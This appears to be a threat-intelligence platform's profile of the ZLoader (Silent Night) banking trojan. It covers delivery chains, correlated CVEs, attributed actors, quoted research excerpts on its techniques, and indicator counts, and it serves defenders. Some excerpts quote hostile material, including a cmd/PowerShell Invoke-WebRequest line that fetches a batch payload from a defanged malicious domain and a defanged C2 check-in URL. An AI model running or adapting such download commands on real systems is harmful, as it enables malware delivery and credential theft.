Loading malware…
ZLoader, also known as Silent Night, is a Windows malware family descended from Zeus and best known as a modular banking trojan that evolved into a broader malware-as-a-service delivery platform. It targets online banking, payment, and other financial services, while also supporting follow-on intrusion activity and ransomware deployment. Over time, ZLoader has been used both for direct financial theft and as an initial-access or staging malware for later payloads including Cobalt Strike and ransomware such as Ryuk and Egregor.
ZLoader commonly operates through a staged architecture that includes downloader and backdoor components, with support for additional modules such as VNC-based remote access and web injects. Reported capabilities include theft of account credentials and other financial data, browser cookies and saved logins, Outlook account information, cryptocurrency wallet data, keystrokes, screenshots, and files. It can download and execute arbitrary payloads, inject code into browser or system processes, and modify web content viewed by victims. Communications with command-and-control infrastructure have been described as using encrypted protocols and fallback domain-generation logic, and the malware has also been associated with functionality to disable or impair security software.
Observed delivery has included spam and phishing campaigns, malicious document chains exploiting Microsoft Office Equation Editor vulnerability CVE-2017-11882, invoice-themed macro-enabled Office lures, SEO- and ad-driven fake software downloads, and trojanized installers masquerading as remote-work or collaboration software such as Zoom and TeamViewer. Malvertising and fake-update style distribution have also been reported. In several intrusion chains, ZLoader served as the foothold that enabled deployment of additional tooling for persistence, privilege escalation, defense evasion, and post-compromise operations.
ZLoader has been repeatedly linked to financially motivated cybercrime ecosystems and overlaps operationally with other major crimeware families including Zeus derivatives, Gozi, Ursnif, TrickBot, IcedID, SmokeLoader, and Raccoon Stealer. It has also appeared in campaigns and infrastructure disruptions involving global botnet activity. Victims have included organizations and individuals across sectors such as healthcare, education, business, and manufacturing, with infections observed worldwide. Its combination of banking fraud, credential theft, modular extensibility, and use as a ransomware precursor has made ZLoader one of the more significant Windows crimeware families of its era.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
6 CVEs Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.
Trend Micro uncovered a malicious Rich Text Format (RTF) file exploiting CVE-2017-11882 to deliver the spyware Loki (TSPY_LOKI). ... CVE-2017-11882 is a 17-year old memory corruption issue in Microsoft Office ... The flaw resides within Equation Editor (EQNEDT32.EXE) ... A proof-of-concept exploit was released publicly, but this has been fixed by Microsoft’s November Patch Tuesday.
MTR observed Zloader leveraging a known vulnerability in Windows that enabled appending malicious script content to digitally signed files provided by Microsoft, CVE-2013-3900. | Zloader is a banking trojan with historical ties to the Zeus malware. Recently, Egregor and Ryuk ransomware affiliates used Zloader for the initial point of entry.
In others, the CVE-2019-1579 vulnerability in Palo Alto’s GlobalProtect portal and GlobalProtect Gateway interface products and Microsoft Exchange server exposure were used. As a result of exploitation, an unauthenticated attacker could execute malicious code remotely (RCE).
Finally, the threat actor leverages CVE-2013-3900 and CVE-2020-1599 to execute a malicious script appended to a signed Windows dll that injects the main Zloader dll into an msiexec.exe process. | BatLoader vs ZLoader While researching the pre-existing information on BatLoader published on the public internet, there seemed to be some confusion as to whether BatLoader and Zloader, a banking trojan, are one and the same.
Zloader started life as a banking trojan, but lately evolved to become a distributor of several malware families, including various ransomware families.
Spelevo Exploit Kitは2つの脆弱性(CVE-2018-8174とCVE-2018-15982)を悪用することが報告されていますが、PseudoGateによる攻撃ではCVE-2018-15982のみが観測されています。CVE-2018-15982はAdobe Flash PlayerのRCEの脆弱性です。
10 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
A prior effort included a ZLoader banking malware campaign disguised as job applicant emails.
The threat actors authored and operated the TrickBot malware from late 2016 until March 2022 and have also distributed malware such as BazarLoader, Anchor, Zloader, and Buer Loader.
SilentNight est un cheval de Troie vendu sur des forums russophones souterrains depuis fin 2019. Il est une variante du code malveillante Zloader.
Batloader has been observed to drop several malware payloads, such as Ursnif, Vidar, Bumbleloader, RedLine Stealer, ZLoader, Cobalt Strike, and SmokeLoader.
As announced today, Microsoft took action against the ZLoader trojan... Derived from the Zeus banking trojan first discovered in 2007, ZLoader is a malware family notable for its ability to evolve and change from campaign to campaign... ZLoader has previously been linked to ransomware infections such as Ryuk, DarkSide, and BlackMatter.
The IRS-themed emails contained malicious Microsoft Excel documents that requested victims enable macros to view content, thereby downloading and executing the ZLoader malware on a victim machine. ZLoader is a typical banking malware that steals credentials and other private information from users of targeted financial institutions.
38 distinct techniques documented for this family, organized by ATT&CK tactic.
Zloader infects users by leveraging malicious web advertising to redirect users into downloading malicious MSI files.
Spam campaigns using this new distribution chain first started to appear in early February 2021. The content of the emails follow the long-standing simplistic style of invoicing scams.
The Cobalt hacking group also weaponized this security flaw in one of their campaigns in late November, sending out a similarly constructed RTF file. In their previous spear-phishing campaigns, the DLL is a component of the penetration testing tool Cobalt Strike.
cmd.exe /C C:/Users/User/AppData/Roaming/internal/launch.bat powershell Invoke-WebRequest https[://]clouds222[.]com/t1m/index/processingSetRequestBat2/?servername=msi -OutFile flash.bat
while the EXE will be done alone with the help of “WScript.Shell”
Within the ComboBox objects’ initialization code in the UserForm objects and various other mechanisms, a download URL and a password are assembled and used within a call to the VBA function CallByName. | The document will automatically execute the macro code on closing the document | These MHTML files contain a Word document with VBA macros. The VBA macro code downloads and decrypts a password-protected XLS file
Trend Micro uncovered a malicious Rich Text Format (RTF) file exploiting CVE-2017-11882 to deliver the spyware Loki (TSPY_LOKI).
a user at an American automotive company attempted to install a remote access tool for their computer by Google searching “teamviewer download”. Unfortunately, this user accidentally clicked on a malicious advertisement, downloaded and then ran a malicious installation package called TeamViewer.msi .
Report about a successful injection into Explorer: | The initial sample is a downloader, fetching the core malicious module and injecting it into various running processes.
the macro code is obfuscated and won't give away its intended functionality very easily.
The nature of malware communications with its C&C server(s) has advanced over time, from using plain non-encrypted channels to using custom and standard symmetric ... and asymmetric ... encryption algorithms and protocols (SSL/TLS) to hinder network inspection of such malicious traffic.
Zloader MSI files were disguised as installers for remote working applications such as Zoom, TeamViewer, and Discord.
Report about a successful injection into Explorer: | The initial sample is a downloader, fetching the core malicious module and injecting it into various running processes.
At last, the decoding and execution of the payload is done by the “ThisWorkbook.gykvtla” function. The “hp” variable contains the base64 encoded data
The appended script content is executed using the windows binary mshta.exe .
Malware sometimes abuses these challenges by “sleeping” in the sandbox before carrying out malicious procedures to hide its real intentions. | API Hammering has been a known sandbox bypass technique that is sometimes used by malware authors to evade sandboxes. We’ve recently observed Zloader and the backdoor BazarLoader using new and unique implementations of API Hammering to remain stealthy.
The reports are geared towards banking theft. The reports could be of HTTP/S traffic, key logs, screenshots, cookies, passwords and mail. | The hook of the function user32.TranslateMessage redirects into a function responsible for keylogging and making screenshots.
user_cookies_get - steal cookies from all known browsers. | A longer report containing: 1) stolen Firefox cookies
A new addition to the bot is the capability of stealing outlook credentials. | Execution of this command triggers stealing passwords saved in the attacked browsers. Currently only Chrome is supported. | The reports are geared towards banking theft. The reports could be of HTTP/S traffic, key logs, screenshots, cookies, passwords and mail.
List of active processes: | The injecting function starts by taking a snapshot of all running processes, using CreateToolhelp32Snapshot, and then walks through it.
Malware sometimes abuses these challenges by “sleeping” in the sandbox before carrying out malicious procedures to hide its real intentions. | API Hammering has been a known sandbox bypass technique that is sometimes used by malware authors to evade sandboxes. We’ve recently observed Zloader and the backdoor BazarLoader using new and unique implementations of API Hammering to remain stealthy.
The reports are geared towards banking theft. The reports could be of HTTP/S traffic, key logs, screenshots, cookies, passwords and mail. | The hook of the function user32.TranslateMessage redirects into a function responsible for keylogging and making screenshots.
We obtained a court order ... allowing us to take control of 65 domains that the ZLoader gang has been using to grow, control and communicate with its botnet.
there is a GET request sent to the C2 (hxxps://tanikku.com/kku.php) which provides a status report on the successful infection.
This function is used to bypass the traffic generated by the browsers through the local proxy. | The bot collects the process list, and allows you to launch SOCKS5/HVNC services via its backconnect server.
Interestingly, this Smoke Loader instance also downloads Raccoon Stealer and ZLoader.
Anybody with previous experience working with encoded content will easily see that base64 encoding is used.
1,284 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
108 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Mentioned as another malware family using comparable DNS tunneling command-and-control patterns.
Loader/trojan family spread through COVID-themed weaponized forms and phishing documents.
Zloader1
The State of SSL/TLS Certificate Usage in Malware C&C Communications AdWind ostap AsyncRAT BazarBackdoor BitRAT Buer Chthonic CloudEyE Cobalt Strike DCRat Dridex FindPOS GootKit Gozi IcedID ISFB Nanocore RAT Orcus RAT PandaBanker Qadars QakBot Quasar RAT Rockloader ServHelper Shifu SManager TorrentLocker TrickBot Vawtrak Zeus Zloader
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.